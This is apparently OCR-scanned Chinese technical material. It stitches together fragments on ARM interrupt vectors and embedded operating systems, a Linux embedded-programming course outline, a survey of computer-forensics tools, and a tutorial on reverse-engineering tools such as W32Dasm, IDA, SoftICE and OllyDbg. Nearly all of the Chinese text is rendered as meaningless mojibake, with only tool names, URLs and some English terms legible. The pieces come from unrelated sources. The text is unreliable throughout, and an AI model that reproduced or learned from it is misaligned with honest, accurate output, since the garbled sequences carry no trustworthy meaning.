S i TR ) R S R AR e

T ) R AR S T AN S R R R A B B N R B o A I A TRCCE A7 b R G . 7
ARM R &R, Sl s RN 32 77, AR G R 4 AR, R
BT 4AANFAEE,

FEAN 53 O L ) R T R SR R I 4 AN AT AR T — Bk R A B E — AN ) PC
AT AE A PRE A B U7 R 4R A o I X IR A, BRIk 2R S S b T AR B AR T A
PAT o LA TH PRI R AR, Db 4% 8 — 52 AP SR AL BRI 2 5 v b

A S R R 6 F O [ e b DA R R R P A BRATE 2 2

RN TCTI=o< L§ J W A Sl T
X o (6 k)

0X00 =X FRERL
A 1

0X 04 R T4 REXFRL
2R 6

0X08 B A T U
X 6

0X0C i & T2 1k & 11 A
Y 5

0X10 HodE i i £ 1k 2 kA
b2y 2

0X14 e RAE
H AL

0X18 A3 W Sk TRQ #5
X 4

0X1C PRI W R FIQ #
b2y 3
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H2ARBRARBIAR?

fE&: CN.HK

T AERRAR RS

ZAEHT, WK mREAEWE, WA PC ACUKEDRR, PCRIERAE. 5K, tEHH
“A AR, ARG 36 BBl IR AR A R IERIE 1 HUR. SRS, A
FRIEMR —ASFe i i B A——JF PC RHAUH 36 A, X2 — A FeiifliB L, X2
A TR E LS ARAELD TR ARS M TR R R )G, IMAXRGEMERET IR
JEIERGE Z0if, [z NBIEAS, Tolk, FH, @fE, 2%, &t 7, AR, RS
EZUCR

WHEELT, MU ZUE CHILRRAXRGE—— LT DAL, 14 HUL
WAL, B FBRAE S, FEIX LR AL AT WL s TR AR IR AN AR BT, A I AT {8 T ik
ANTEIRG, i, PDA, FefEsZ#flS5 s HK /NS SRS, i k= IR LAk,
RAXRGERFAETIHLEN, BT, DR, WTFRGEEIRmEE L AVEERMAE.
IERH AW A TEFAE” XA R AR RN LR G0A 3 TR T LR S

— MARREGR S

IRARRGA T DRI E Lo HATIR AR RS 2 @B@E 2 JATER K
Vi, Lol Megslky e, MRS BT RRMVERY R, R ARG
HMET B E Lo

ARG T — D FHE mp3 A E T AR IRARRG R ? FREER “&7 . Hoh—
A PC104 FYRRAZ Dol il HH RN UR 2 VN E R IA KRGS ? 458, i, TRk
KRG — A IR SR SRR, IREBF K I = F LA, BT
AR A A AL BEES o R e 75 T DALUUIR A A B AR i il 2 IR AR G ? TR s A
FRHL, BEAYHR A XA GEH ?

RNRAT 2 RIKA KRG ? FAHRKA KRG A 2 — DA LLE L R ?
= BARRGR R

BIRRA ARG VA RBEER T, HZIMESIFAERHE A BB, M 20 L&
TAEACE A HLE LR S R % AR RN UL BELAS , B i 45 AR A, IR A SR
GiCAA T 30 SEMIR BT L.

TERN— ARG, AL AR FANER AT S8 8 e Ji Y R (1 S 4R I T A g A, i
KRG WAHISL

IRAR ARG I RAEEE T R AP 70 FARAPHIL, ERRGE. K. Tikbl
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foe JEAE R E DL 3R il a7 BRI SR PR RE . SR S A
FIL BB, R XA E O YD B TR IR IS £, (HRIR I R A 2
8 LLATAN T, BT LERALREIIREFF, BIRA L “RE” KIS,

PR BRI L Intel AR 8048, B HIBIAE 1976 4E Motorola [H]iFHEH T 68HCO5,
Zilog AHIHEH T 280 R4, IXLERHAMI S ML SA 256 F50) RAM. 4K () ROM. 4 /> 8
PRI IR T HRATE . A 16 AL I 85, ZJE7E 80 HARW), Intel Mik—Ib5EE
T 8048, FEEMIEAL FAFEIST) T 8051, XTEM AL FREMRLESH—T, &45N
1k, 51 KAV HAIR R B AR LS, ES M= A G IR Z R

M 80 FARFIAFAG, IARRAIRET IR “EAE RS 'S A B K
-, XAEAR AT DRI JE A R S 3, AR R A S I RS, “RARRSR”
HIEHI T )i, XAEHERERIE RS- — A SCh %, RS SER I AS T 246508
YERGIRHE, BFALSEHE . ALS @ FRP SR RBscRE. WSS
H a2 Z 8078 Ready System ) ) VRTX. Integrated System Incorporation (ISI)
(¥ PSOS F1 IMG f#7 VxWorks. QNX A [#) QNX &5. X 28k N UHRAE RGHA A IR A LAY
e EAIBR A G e VR R, e B I AR AT, AT S5 AT B B AT A E s RGN IZIR
AN, HARTEE, AT mMn AN, DR B S R AL BEES b B SR AT SR, i
AN o X LR N LR Z AT 535 E R G B, 73 5 I RN 243 LA/ L (1)
TERSETBCH R, RIS AR AR A A 1 5 i B B FH 2 1]

90 FALLG, B RS ESR PR, RSN T o, S RGBT R R D S 2 AT
FEIERSG (RTOS), FHAEN—MEAF 688 BN BT E PR AR SR F . XI5
ZHIAAER] T IARRGEN) KRR, TR EH SR AR ERIE RS, B T B
HRJLFEZ B AT LIS, EHIL T Palm0S, WinCE, Bk A\ Linux, RT-Linux, Lynx, Nucleux,
LA E A 1) Hopen, DeltaOs SR ARIENE RS, M IRARE AR R RS H &5, 43
B B2 AR RG KA I

FEF IR AR RGO, IWEOAFRIRA KRR GM S : MARXRGR LN TG, Bir
SN AL, JF AR AT 88y, @ TR RS Thae. wlEerh. A, AR, Tike
AR EORINE AT ENLAR S B — B iR A A S L S EEF iee  IRA R RS
PP R R FAE P 25 DU AN BB 0 2R, FH T SeBons Hoft e 26 (4] . M AL B8 PR AR DI fE

=, RARRGH N TR

RN LR GEEAR H Al B Ak AT DAL

Ly Tzl TN A Tk Bt b i s R RE R L A RE, Htoaa KER 8.
16, 32 AR AR A AERL I o, 28 A S v 2577 RO AT dh i i b N 3R
B, DI RREE BFPUR. RS, M 24, iR, Al LR S.
HUAE GEI Tk A% 7= bl &, RS R R AEAE A2 8 ALy Hl. (HRBEEBORII A RE, 32
By 64 GLAIAE PR ESIZHT R Tk b IR L, FEARSRI LA N AR R 2 R JE
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2. ZEEH: AN mEEH . FERENSIRERS T, MAXRGHEAR LR
T VTZHIRE, R GPS BEER, GSM REER (RS 20 58 A 28 3 L2 AE B A is fmAT L3R4S 7 eZh
M. H AT GPS BE# 2 MR w7 ShBEN 1 @ ke, AR EJLT oo, #inl ARG
it R B R AL

3. EE\FH: HFONRA R RGNS, SRR shisg . BT IKHE. =
AR ZEAE . B REARE ST UAMTHI LT PN — N i (8] RUEARAESCE, AT Ll
R W TR RN EIX R &S T IR AR A& .

4 FEEREEHARS: K. W, BARKEEAZSIYER, “elik. kRS, Hhikf
(¥ S o A R G i N A A, RSt sE e, SEAEmAISE 2 M PERe . HATE RS
GUR, IR SRR E DRI TR AR R H.

5. POS %% I TR 55 A A IBTC AR E it K (Contactless Smartcard, CSC) KAT R %t,
NIBEIEREITRSG, B3IERNL, SRR G ATM KB EANNTIAEE, BN F—
KT LMTHE R T .

6. TS HR: ASCEURISE I, Bl R BoK iR s SRIn2e 4, Rz il
W, SEI GG B, KIS G . EMR 2RSS, ML AR, AR
2R S] P WNEIR

Ty BN NS AR A AL a8 AFER AL, R REDT LS N, Rl 20K
i P PR ML NI, A ELAE TV AT Al 55 03RS 52 IR R T

LGN, W] DA AR T IR R o AR S R I F , B 1T SRR TCP/TP
FIHR ARG, FH I i PP 7 T G, X E A 50k AR
WEE, Frf ST MR RE R hl S A f B S ARG A SLHHE O, 285 B HiRA
RGORFERDFEE SIS FrEL, JFPRMZBTIRA SRR G H 0 EE R E S

BRAXEI D E

1o 3K

1. Linux ZEAi

ZHE Linux #1E R4 Linux MRS Linux % H4 Linux B R FEM #42& Linux Ik
ZREMEINSL 224 Linux #4E RG BEMS AT Linux RGN EA L R Linux REEHH
PR 55 2% Linux BAE RS Linux A& SCE WE Linux A5340E 52 H] Linux MRS
Shell #ufFERtAEH] vi S SCfF ] Emacs % SO A8 Fopth g 2%

2 Shell #mfetnt
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Shell f&i/ NRJG G Bash FFEEE Linux RS PN EE #3438 Linux FHI&Fp
Shell ZAZRHEAT shell iR vi FEAERME AR Emacs WIEEARIRAE HLEUAE shell X
Al RS — IR S AR T IEIE N shell AT W5 —NEGHELBAFIEN shell
AR 5 — ANl A IEEA]N) shell AR T

3. Linux FH C gufeRLmil

linux C ESHEIMIA Gee {79k Gdb kI A Autoconf Automake Makefile fCHZAL
W & Linux R PRI K Gee fmikes A Makefile #NIZWE Hello, World
2P I make 1 & IFFET M5 WAH —MEXPET WK —AF &8 RET

4. AN ARGTIF K IR

MARRGMIA 2 X gmiF BLE TFTP %S BLE NFS Ik%s TF# Bootloader MM fik A3
Linux B FHEMAH KAFRABRA R RGNS DL K @ mig NSRRI EEHIAE
cross_gee LHAE ZWIFH T3 U-boot FmiFIf N4k Linux WX ZIFIH T3 Linux BT
4. ARG

Linux WIZARS ~F G AR 4T ARM &N P S HE P CBEEAR #HE Linux W3]
ARM P& THEBRIEES e M Linux WAZIEHRL Linux2. 6 A% S] ARMO JT & AR

5. AL Linux TH HE{E

HAT 1/0 MEAM S A Linux N A RAFE Linux KGRI SCAFMES 5 SCHAHE
KRG FLE B LA MiniCOM Ref BT B THEME 2B 1/0 'S5 5 1158
BT %528 DEERF

6. KA ARG 2 R B

Linux REGHEBEME A RXRGERHERRRE L HRREAE TR MM RFHH T#
Linux REFIABEMME RS2 HEREFRS2HEREF M52 THE~EF
sleep RGHAMTSE . FL HBE Linux (SR TSHE &8 F5 LENG 15
EH APT T Linux RS EENLS] HRGRE ARG LA 70 BABHAR Linux
(AT 55 8] [R5 5805 g 'S — AN 81 B 0 BB AR 7SS SRR 'S — MBI SE = WA RR 7
7. AR RG T 2 LR T BT

LRI AN 2 AR mAE I ARSI FERD T RIS REBE YRS TR L
ZUERITRE — N2 RERET

8. kAL Linux P84 FE

W26 FEA AR BRI Linux H TCP/IP M8 254 socket Zwfs & H APT KL 734t Ping fiy
ARSI FEAS UDP B 9w FsE YFAlIEAHE PPP MM GPRS T ARk A 20 Linux 284K 2245
¥ RS HEATIR AN S Linux M58 F 1 socket ZafE #42& UDP Ppill. PPP Pl #42& GPRS fiiHH
socket 5 MRS A [ socket EEKHIER 5 VFAIIEARS % 45t TCP A1 UDP 1L
B gnS — A web REEE S — MSATTE ARM “F 5 I M2 FE i ds

9. GUI FEFHA

GUT JEat ARG GUT 88 4% QT 34T QT FFRABIMA R RGUH FH I GUL GEREAT
QT g2 H QT 9’5 “Hello, World” 25 IR —AMIIN(E S /FE S @it EE QWidget
FITVEA R A

10. Linux PP IKEIRE T

WA WA PR AN Linux KRG FREEIKS) T £s operation S5K) In#kIK
IFEF TR & RATEF IS TH Linux FRRSIREIFET S BeomE 710 % 45 Ik
2T ImE Skull KB 4n'5HEIE) W5 1/0 W3 S —NE MK FET X
Linux2. 6 W5 2.4 WEZHFRFR & IRSI AR Linux B & IRENFE P15 % WK AR 17 1
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PEIRER MR s & RSN FE A B & B 578 SR A T A Linux HRE & IR FE T 45
¥ B gm S ] I H R %% IR AR 7 LR A A e SR % R [F) w5 WC RIRENFRST
Pr— 3RS W Linux2. 6 WS 2.4 P& IR S AN ]

11, &5

WS RG S RGERES. ramfs WAE XM RS proc RS devls RS MID
FOR A/ MTD Bk & 414640 MTID U & i S 35AE T Linux RAN MRS TR
Linux BISCHFRSG 7fE MID £oR RERSS S i S U R Gi08 ARM9 FFRARIA I MTD SCHF
Al JFFS2 X R4 it proc X RGUEMERIERGASEL /00T romfs A RGUIFARAS
B —A cramfs RS
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THENLEGE TR B R AR H 3

YE3#: R.E.C—F22

WREHBGERBE S PBRMARXK A

1. THEHLEGE PIMES

BUF%: % Reith Clint Mark WAA: tHEMNIEGE (computer forensics) AJLLIA AR “ M
THENUH R AR RS I EORFI TR o SEBR b, THRENUEBGIERL A TAEE TR L
HAR S A BT SR . RAE oA A 7R . F T SN LEGIE ) T R 20+ S L
WERE R — AP B R R R DI RE, 45 B T — T H B A LRUE TR HLBGIE TAERE8
IR BE AT SR AT LA A ik 4 4 FH B 25 B2k
2. VFEANUIE )P B

2.1 RIS &

WA R RO 2 — 20, B RYHUEE 13RI . X TAE A R BT T
FEnlto CUFEEAT B bR vHEAL R G0 H R Gk AR AT AR A O B BBk g, i LR SR
B MBS, ER ) e dF BT & 2 BT AR EEFAREAERY, SN A JE AU ANIE S5 A0 SR E
it B . R — B BUE ) TR I B shae BT AR Bh2: 6 N 25 3
B R A S5 A

2.2 FRBGIESE

UEHE PR3 B AR J5 - 158 58 2 A AR 22 FED A RN AN e M v R B e Y AR 0 . X — B
P THR—2 BARASAE . B E . M. MEEPEmRE D Re I GE T R

2.3 BEUEYE

THEALUEHE 9 45 5 5 R AR e B 11 56 B PR B0 R AT o L2 B A5 6 vl R AR E o THE AL
HIE AR B ME s — A E B IGIE N 53 BT 48 3] B IE 4 VA s oo o i v H LR B UE 4 X
1B 16 A 5 SR A S 3 SRy 05 B, SR SRS TIER « AN IR IR S SRR 2 i pl R
GUEHE I SCE R e . BT LA, BRI R b Ry SR R P IR BE 1 fs it . 7R IX — D IR 1
HOUE T EAALHE 5 B (R 8K $ e 48 SURI B /K ED S5 Dh e B4 A, 3 22 Reff e ik 4 £ 1y ]
HETE.

2.4 SrHriEds

X VRN UDOIE A% 0 A1 G o TR AT N AR EFE: AT TR AL SR A A
RE, B NZERERGEA LRGN X AR EEAME: A miEEh]. KSR &Y
HITHENL RS NI VER TR IENL SO, AT ek S IR LIS 47 I dE R L
P 25 e BAFAE AN v 2 O MM BR AR T o 43 BT 70 28 PR AR R DX 3k A i 30 1 i A DG s - R
T A AT 2 N 2 TR B S o A B R AT B R, RIS . L 2. AT IRz .
BRI AR T BRI A 5 S ATis AT AR P B R AT X b, A R I AR . Rl
X EN A ¥, B TRL . B, ZHidsk. BHEM. BB A& RS A H &,
W IP S EANVREAE BRI, SE R AR EITRE H A ERIX R 2
[F AR S AR FBLEDIE . AH ELIC R AR LR A /i[RI, B R TR LIRSS R 9 DU % S 42
A A 28 2R BOR T e AR ST (R ATSEIU « T304 T T SREMLAE 23 BT 1 L 06 201 56 X 6455
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L

2.5 HHTIBER

TSR B EABGE S B EAS T, SR AEEX BAR RAF ST A THE
WUIBTEEE AR F BT, X RIS I 0T DA ok R BoR, REBHZE T HEHEGES A
(ARG I 5 X 4% 22 4 T HL R 284 R SR BRARZE &, AT BhASEUIE « BEAOIE R4 5N &
G AR, WA INRIE 2. WL E B, Sl 2 BRI, NS BE
ARG REEF M. RAEFOCH. AM 500 (Heln RADIUS &%) . M8
5% (Network Element logs). Bfikii& 3k, HIDS Fff. NIDS Hff. WiALIRENE. b4
i IR IL SRS X TAERGE AR TR R AW T T FHLR S, RN R G5
P 265 0o 33047 000 2 3 DA L (1 o AR T DA SR FH A G P 1 % kv B S B B Al 41 A R e S
No

2.6 1RAGR

FTERXT BARTFENL R G T M FBEELE R, SRR BTt KRAEMEMAKEN,
RIS . BE . MEERER, SHE B R, MER. 9. InEar, CUEE
WE PRI E ARG S o ARSI ] Hodt. HLEs. JREUN K AEN . 2R )5 LIEHE
(I 2% B AV R PP 3R A8 48 AR ML R o

3. THFAEALEGIE A > T A

3.1 — MR THEAM

FHTRLIN Ay X8 TR A R S MR TR,

3.2 HUIEL A AR

Ao KR THEZLTTHRERERYE MR TR, RHATEEMNRA W
A Z RS, M AR AR /N I AT BLRE 1k UE 38 BB IR o BE B U B 2 Quik View
Plus(http://www. jasc. com) o ‘& 0] LR 200 Fl LA b SCA4-287,  A] DA & Fh B -S4 52
. i WordPerfect HIMME I E A% . Conversion Plus A LA T7E Windows R4
MY Macintosh XA
v B AR T H: ThumbsPlus & —MIIRgReEmm T B A& T .
v MR TR X7 ABGES M TR AR EER R E TR, BAXE—MEXM LA,
{RLEA Semf g 2 ARAA FH )

CD-ROM T.H: {#H CD-Rv Diagnostics AJ LA I7E— MBI T & A B 1 5 .
WAV ER T H: dtSearch &—/MRIFMHT XCAMRM TH, FalZ2BA#ME Outlook

i, pst SCAFERE
v RFNEEIAGAE P 0T LAY 2 BGIE S B CRIZEA7 5 DL DL E S REAN IR B 28 L0 I S
1% e 14 a 5 : SafeBack (http://www. forensics—intl. com)
SnapBack (http://www. cdp. com) . Ghost (http://symantec. com). dd(UNIX = f#naE T H)
£
v WEAEER TR X R EHAAMH BOUE 2 Hriles 281, R~ 7 BRI hLEs FIKsh 3
AL SRR EE, B, RN AR XS E AT WREESEIE4T NTT An
DiskScrub F2/7 B AT UGS b1 — Fel X 1 008 #00 B
v BUIEREFF: BRI R ae e T A A WOR Ao B i o e HAT, B Bs B E
WA .
Forensic Toolkit: J&—RFIZET AT TR, wILAIEBIHENT Windows NT X RS H (1)
VIIAT A X AR P S A 2 . AFind RR¥E £ )5 Ui 1) Bf () 25 H SO A3, T A i
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H U7 a1 [8])  HFind G A B8 YR SCPF) « SFind (FEH BN g 48 34 e 1)
AR « FileStat (RS BT SEMSCAFIJE M) « NTLast (BEAARHER GUT S0 5 38 2 4hxt
TR ICS 7S OGN ], I H S R Ta S SRS R 1R 2 AN HL )

The Coroner’ s Toolkit (TCT): FEHRIFAY “H” 1 Unix ML, B 75K M
WERE ST, E R AU T DIHEAT & M ENLE ST 700, R H AT RIS E . Hd
(1) grove—robber A LAYSEE K &I IEAEISAT HHERE . 28 1 3z DA S Al 4 IR 3 28 7 T 45 2.
B FE A b DU R VRN WSO , WO B BT A 00 2 AR A (1 12, A8 b LA /INEF (R s T
TCT AL FEEHE VR A F 58 T H: unrm&lazarus. 3REX MAC B8] ) T H: mactime. MSELHE—LL
ANTHR, Wils CHRERBEMERIZR T ARG ERD . icat (FH THUSRE &R 511 S
X L ) SO N %) 4555

EnCase A FRFEME——/N5e e AI%EET Windows Fm FBGIEN AR, HIhAEHH.
BAEME . R BN BRI @ 2. B SR PRAF R

ForensicX: EEIg47T T Linux #85, & —POEEEHE Xt v EZEH MM T A,
EHEEMNEARE T T/EFG. ERH T Linux SCREZ MU RGRE S, FRAEEATE
SO R 0 L E B A OB SR ) RS R I B R L e . AT BL A Unix REER G
THEANGRET . HAH Webtrace v LA EH IR BECM ERE4, N2 DUIEZET D ZE R
TR, Bk B A U B 1 T A

New Technologies Incorporated (NTI, http://www. forensics—intl.com .): NTI &
HUOIE A s 9 [ E IR R — o NTT Dl & BB BAT 8RR, BT DU EEAR R, A a iR
AN, EETERE PAAH . %A A SRR HGIE TR AR

CRCMD5:  —ANAJ PABGHIE— AN BRZ AN S N A CRC T A

DiskScrub: —ANH TG FRAEAL IR 28 S BTG HUR M T R

DiskSig: —A CRC F£FF, JH THAEBR % T

FileList: —/MEi#:Hx THMRELHPEZRG LT NN TEE.
Filter we: — T J& I PRI 40 (1 RE BT I8 it 8 2% o
GetSlack: —M I EEEARICEE TR, TR 5B .
GetTime: — i MG E IR TR, HTHizk 8 et

Net Threat Analyzer: PJZEHUGIEZATECEE, T 1500 A B FLI N 45 K = 1
M-Sweep: — i J& FEI A BE 84 5 b T H .

NTI-DOC: —Fh SRR FP  Fid s e i 30T Al AR Js v
PTable: FH T 74 S ik BHAE 55 IR B 2% 7 X 1) T R o

Seized: —Fh T XUESE THEML BB AR FIFE T -

ShowFL: 70 B ST H s B IR R

TextSearch Plus: K& A B B SO 7455 R (1) T A
AT I A T H 3 SR SR BGIE T A

TENLBGE TE M AZ K2 AT fE

THENUDGIE 75 ZE M BT TR A 0 e i A U SR, B T AR T REZ — -
Lo KRBT SEHLIESE

A LARRH S5 2 A T SBE EAHUANL IR IS AL B

2« FETHENLIESE
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A SN UIESE (P R 3 R AR AR L REE X TH SR LUEHE 2R 4T PR A B, T DLIE R 52
HLAEH; IR ER 3§72 50V R 3K BUR 8] P4 3 Aol

3. AR iHSE LIRSS

RENS PRAUETH SELHLIEHE 1 7T 24640 .

4y SFRBUHFEALIES

X7 TG AT SENUEGIE TR 3 SR A AT BE LB 2% 1 B s P2 B T S LIS

5. Mk ENLESE

X & A TSR T LR G B R AT M7, BRI AR 3 S AR SRR I 4 B Al k)
6. HEHNIES

i 78 THSEHUIESS 75 A UE 5 A 7T >R AR

TEAUBGE TR AR J 5 Bk

HAT, THEABGE TH E22 EAME™ K, ENE = mieEZ ). B2, A
THENUN B8 K, THENLIESE ook 2, i ELBGIER) ™ TR H T tha 1 —L9f
HA— L IEERT ] R b o WREe it T AT DU T SEUIBGIE, Rl ] DAAE 7 o S
E TR, ARt EAUGE TR DU T RS s, XS s A o i) )@ . pril, 3%
o A LBGIE T B R A 27 . i RASE “ BN E 7 GRABER AR A E
FBRAE = S B0, http://www. chinasoftware. com. cn/cognizance guide product. asp)
9Bt i -2 | P 3 E S R A 7w S =

Lo TFEANUBGIE TR A & TR RAT Mk

AP SELDOIE TR Al S2 bR B AR AR P I R TR, BOZE 20l 4 [ BN
JE B AL B E AR, I HOZJE T A 2R B A m VAN LG E R R AT . H ATHIX
AT AT A AR oMb A8 T DAAE P AT AR AR DL 205 2

2+ IFEHUGIE THE BRI o SO0 EH K

THEAUBGIER A TR BT ¢ R B R A 15 BES SN i, 5% 2R B w36 3 5 - F Al
2 IEE I R SEEALIGIE B 5t 2K 55 50 D e R Bkl A7 7] B A0 9R 70 1 1E 3R A B A
PR S 0L, VRS 2™, RN IE. AL, THENLEGE T B (0 20 275 E R f .

THEALEGIE TR Bkl 7 vk

L 58 T EALIBGIE TR S R AT kAR i

AP SR UBGIE P s (0 Alb BZ AT R R AT ML B BN E , FEA A BB ] 4 58 o TR
i 52 i B AN AT SEALEGIE P it 0 A2 7 Al BEAT H A 2L o X 88 PR NZ B AR AR
AV AR . B BRI BORN RS NOE IR b TR E, XA RSE
77 A B AR M B A R 7 i AN AR A ML N 12 T SRR o o TS A5 7= it g B DASE
DU R O BT AR G i

THEHUBGIE ™ bty (08 B A5 A A e R R 2. R, B e N
I NAZHEAT A A ARIE AT o TFENUBGIE™ Bz AR B . 95, RATK
PEIR ENEEAR S e E BRI 4 S 7™ A% (K328 i BT L 35 R AR AL o T THT PR B A e L i A 4 7
an R BT AR . E AR UESE

2+ BOLE TR
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JSEAZAE 7 it Jo R P 1 B B 1T AT B S 08 S AT TS LIBGAE ™ ot ARG o TXA
FRIINZ BT SRR 2 5 T ENUBGIE L A H Al TR AN R, ATt 5
HUBCIE TR A 77 i AT P4 A AT, RAT B X — U A E (1977 b A R DA
Ao

3« THEHUBGIERAE ™ dhAS I S5 55

THERLIBGIE R A (R s I 127 60,455 T ST LIRCUE SR A R U S A R o FLAdcdth,
A LU B RA R

(1) A= A A A BT R AR S A7 il R 2% AR 1 75 5 4

(2) FEGMBTHRI: A0 P dh 12 RSO A B S T &, AR THRI P RS
HREMARTERE . fFR. SHTRL, BOREF P MALAIhEe. MK mETh e, Wslor
20 RATRGIR TR I B i v A R AN R B 23R L AR — NI 1 o 2 )
VER S R P T RE A H AN LA ot

(3> FEATIR: FoAK LRI P AT PR A M R PR R B —
MEATER . NI E] . PR AELE

(4)  BEEIN o ARSI 0 o - RIS, 5 45 ARJm B A2 AR 10 3% R 45 SR 58S TR 20 1
R A IR o IR o A I A oy L% B AN, A H YT, SR A I 7
EAT R, BREORTENR, N, Ht, BT R SR R, MR TR, 4585
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MR R BAR

BRI EOAR A A

BAF R B IATT I F ST ROTIEMBARRLES AR, 190 75 i i
HESE,  BRIEA BRI 8], 0] BE R IR A ARVA A

MERS B, JUF-BOE BEAS TR o B DU A PRI U FE R AR AN 1Y, B
REFEE RN 5 . AT RR P BURS BOR B3
o B R T B ?

A

s

&t

HRAS I BT SIS SR IR I8 5 B AR P IR, WS s BT, TRk
BAREL DR, S 2 (B o R N gm e s . MITARYE B SRR E 5 & B Ihee .
XF TR R, @ R ERAS AT, TR ORI I TT, R AR R —
B FBL .
X RARBEAT A AT B SR T R TR R, TR A A ESRE R, B
H A gm i ee ity R 2 S A MR
[TENH]
H F B A28 8 04 T.A A Language 2000, File Scanner. FileInfo. PEiD %,
EbanF PeiD #A4-Xt Winword. exe LRI HTEE SR CRED

W32Dasm £t BLAERAT AT PATRE P HEAT e B, BIHE AT PRAT (R SO S i 1 BRI 4t 1
5, METIRAIS T M FIRFE. W32Dasm AT B 22%e, HEHEENAT W32Dasm. exe

FEEH 2010 FF)-MBERE

© ZFEEH RIFA
169



A
W32Dasm ThREAE 7 iEA
IS — 3 B P N 1 i — e SRS T 46 — e 31 70— % B A7 B — AT SOA
Bk —HAT U FH — F N BR B PR — S RS2 > PR 2 7% — B U 225 — E L
RS SCAR — ke #4832 A (IS AR Bh A& T I — B BRER AR 7 — T B I8 5 — DR A S I G
SCASCAF
BARTT B 47 BB E SN A .

IDA AT W32Dasm KUt DhRE R i K #RAELLERE 2. T IDA TEEM A,
1M W32Dasm &% %%

LT AR R R, {4 W32Dasm BN (. 1DA BERE BTN KRR,
HLLZ FSc R R 2% . Bl IDA Pro fmihiiAs )y IDA Pro 5.7, HF 64 frkbyizs, H
A HE KM TEE .

W32Dasm A IDA S&A 73T 30 o A B ST iR B0, T LAME R L T T8+ it

Hgm%E T2 . U0 Hiew, HexWorkshop, WinHex, UltraEdit £&.

Hiew fSL IR By ASEFH 50, & o] LIS FR P 3R T S G R SCREXS AT AT
SCEER AN EERARRS R gniE S AR B

AT SO g B T R R SRR BRI — A, e AT A7 il AE PE
SCAFR). rsre B, ASREEIE AR PRI SE SR B BRI 1), Windows SR B0 bR A EL 12
o R R T E A TN A7 A AE A

Windows S FHFER (5 M A SR IAR OV B, OFF e, f2F. Sbhn . XEHE. &
FRy S THA RRE RS,

YT OATEE R exe, dl1 Al ocx S8 3R] Ll i BT RZ 0 T A Resource Hacker.
eXeScope fil ResScope SEAEEIL IR, “BIATTHH & ThRE SR A 10 DAL Rl Bh T =

— RS T B B W R IhEg:

D) 15O iR g PR RIS SR ZR 0T DA Wind2 AT ST AR G ST B 0RO o

2) RIARAFZIRRISCE (kores) K&, AR ZbH SO EAE A I 4 36 05 U5
ENEIAEE

3) B T PAT SO B

4> IS BT IR B AT AT A

5)  MER BT

By B HrHoR

P AS A1 BT DA T AR S R SR (LA T 3R T A I M T AR P2 5
AN AT RERE, 7R P A 0T RO B T 3T DU R B AT B 4007 7
AT AL LB R . BRI, B R BT e Bk A B
R B AS B ST T DA 5 AT+
Lo RHR P A7 6 SR B
TR R S AT 45 BT R B O Tl R O R SR L
20 XSS AT IR
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FEFREUHAE R BRI T, SRR Al AT DU X6 1k b o 12 A Bk AT LA i T 40 i R B 40
Bro FAEELE B R A 45 Balis A hbic St ok, EREMEIZAE T NIk,
BNAS 3 BT ARAE FH B RES 7T 40 P B R A i i s e L

F PR AR IR A TAETE Wind2 RS HLEI Ring 3 & (HHP 2 L, 40 Visual C++5%
G iEas H oy g 2 P .

W AZ I IR T e TR E RIS, B4 T CPU R R G 2 10,
TAELE Win32 (R HLEI Ring 0 20 (R b WiZE4 1 Sof tICE ik .

W& T EA SoftICE. 011yDbg %%,

[ THEAH]

SoftICE #& NuMega A Rl K % 4 B WK TR, wl DLiR & w2 7 i
HIKBHAFE T, B AT LUE G 48 g A T m AR

NuMega A &) SoftICE fHZR#EBKEh I & #A4: DriverStudio A1 SoftIC DriverSuite
HORAT
DriverStudio & —MM&#&WANFEF MM KA K TREA, & —EHRINEMK
Windows ¥ & IXBhFE 7 1 H & AR %0 TR

LA SoftICE DriverSuite /4 SoftICE M3 SRCHE .

1) SoftICE %%

AN Rt 22 ST setup. exe, 12 BB 2248 (a) 3 SRR R 7T LS8 Sof t ICE %234 1
DriverSuite A HZJiRA] Windows AFFRA. Zakid i, 22 m Foifnikss 3 fadE
A,

2) SoftICE JA 3t

Sof tICE J& a7 P f:

Windows 9x R%iJH s 0# Windows NT/2000/XP R4i/E 3. 1M Sof t1CE 7F
Windows NT/2000/XP "~ 3 A7 DU A 5 s A m] i ided -

FE—. Boot #x{: SoftICE 4&F Windows hn#k, T2 TR A IKEh AR
BRI . System t;: SoftICE 5T Windows In#k, 3 ZH TR — N BT &
B =, Automatic #3X: SoftICE ST Windows M#k, (HARE N IZIKSNFET
RIPU . Manual #23: # A Windows R4t)a, T B Fsh#ATHEE TR “Start SoftICE”
BRAEM 21T LIZ4T “net start ntice” KIE# SoftICE;
Disabled: #Us2ZEILFTA 1 SoftICE MRS . — Bt il Nk Ja sl
L& v Manual #E54,

3) SoftICE HIRbr 5 B REE

WEAE A Sof tICE B K I B/RBLEAR AR, 7 DLE#EA Sof tICE &MU <1 AR
BoE .

4) SoftICE A Hill &

a HWHIED (General) : General MEIH T E SoftICE #IUh ik fiy & Fl— AR & 244

by fFZET (Symbols) : FFF5HUCAS, XX & RSP AR A H .

o FHIEDT (Exports) : XA AT S Wik Ik 5 2 1 H L Ry 3R .

d. ThRe# W (KeyboardMappings) : RJPALL B SoftICE HIThAERE, tHn] H & X
Ret a2, A B IR E R .

e. HEN (Macro Definitions)

f. Troubleshooting: 1ZIETI-K RVFH XA, BARAI A A TS T &S HR E
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g MW E (Advanced) : ZIETUARVFH T H & SRR E 1+ 1) AR AR 5
h. Winice. dat FCE: SoftICE ¥IUH1L B RAFT X1 Winice. dat ST .
5) SoftICE ffiH
%% Sof tICE I JG, #% “Ctrl+D” A LLBGE 4T H — /MR E 0, M7 iR A
Windows &%, FKPIERE AW, ZE{Z “Ctrl+D”
SoftICE P N N ar 47 ¥l Bl RS, HERRFI G 2% D48 L7y . AEIR.
IMER SoftICE FF 44 HIs A& 011yDbg IR 2%, /& A shB AR S TN — & 1 9h K
FERREE, T LATE Windows9X/NT/2000/XP 47 & Fhk AL Fig4T .
011yDbg 37 #F 80x86. Pentium. MMX, . 3DNow!. SSE #§4%E. SSE2 $544E.
011yDbg SCHFIR/N, AL NAF. 81T 011yDbg. exe LA LA T .
0llydbg TAER M 4 0: REBED. FEE D FURE 0. FASE 0. RGO
Kk, [F EASIMRGER .
SoftICE & +aFE, KAH 150 24, FTHAMATAEFHB®S, BE2HHGLSE
%% SoftICE W4Tt
(D A
1By A [address]
address: f8E N EHHE
TER: BANICRED.
Y RS bEAE, w7 BB 2 HT CS:EIP &bl 4.

(2) D4

i&yE: Dlsize] [address [L length]]

size: B/, Wi, DX, SHSEM, LKSEMELT 10b KL,

address: 85 WAk

L length: FEEKE

ER: BoRFENAF XN Z .

